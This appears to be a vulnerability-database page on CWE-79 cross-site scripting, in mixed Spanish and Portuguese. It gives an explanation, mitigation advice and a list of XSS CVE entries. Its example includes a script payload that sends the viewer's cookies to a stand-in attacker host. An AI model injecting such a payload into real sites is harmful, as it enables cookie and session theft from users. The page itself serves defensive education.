Fallos del tipo CWE-79

29.276 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-4655MEDIUMCross-site Scripting (XSS) - Reflected in instantsoft/icms2EPSS 0.5%CVE-2019-18265MEDIUMDigital Alert Systems’ DASDEC software prior to version 4.1 contains a cross-site scripting (XSS) vulnerability that allows remote attackersEPSS 0.5%CVE-2022-43996MEDIUMThe csaf_provider package before 0.8.2 allows XSS via a crafted CSAF document uploaded as text/html. The endpoint upload allows valid CSAF aEPSS 0.5%CVE-2026-19716MEDIUMStored Cross-site Scripting in Pentestify user account deletion via unescaped usernameEPSS 0.5%CVE-2022-35722MEDIUMIBM Jazz for Service Management is vulnerable to stored cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript EPSS 0.5%CVE-2022-2510MEDIUMPotential XSS on Special:SearchCenterEPSS 0.5%CVE-2026-49867MEDIUMDataEase: Authenticated Stored XSS in DataEase Template Static ResourcesEPSS 0.5%CVE-2021-36905MEDIUMWordPress Quiz And Survey Master plugin <= 7.3.4 - Multiple Auth. Stored Cross-Site Scripting (XSS) vulnerabilitiesEPSS 0.5%CVE-2024-25705MEDIUMCross site scripting issue in embed widgetEPSS 0.5%CVE-2023-7015MEDIUMFile Manager Pro <= 8.3.4 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2023-2560LOWjja8 NewBingGoGo cross site scriptingEPSS 0.5%CVE-2022-3073MEDIUMQuaonos Schema ST4 example templates prone to XSSEPSS 0.5%CVE-2024-8716MEDIUMXT Ajax Add To Cart for WooCommerce <= 1.1.2 - Reflected Cross-Site ScriptingEPSS 0.5%CVE-2024-1691MEDIUMOtter Blocks PRO <= 2.6.3 - Unauthenticated Stored Cross-Site Scripting via SVG UploadEPSS 0.5%CVE-2023-49976MEDIUMA cross-site scripting (XSS) vulnerability in Customer Support System v1 allows attackers to execute arbitrary web scripts or HTML via a craEPSS 0.5%CVE-2026-3993MEDIUMitsourcecode Payroll Management System manage_employee_deductions.php cross site scriptingEPSS 0.5%CVE-2021-44200—Self cross-site scripting (XSS) was possible on devices pageEPSS 0.5%CVE-2024-3687LOWbihell Dice Comment cross site scriptingEPSS 0.5%CVE-2021-44202—Stored cross-site scripting (XSS) was possible in activity detailsEPSS 0.5%CVE-2017-20191LOWZimbra zm-admin-ajax Form Textbox Field Error XFormItem.js XFormItem.prototype.setError cross site scriptingEPSS 0.5%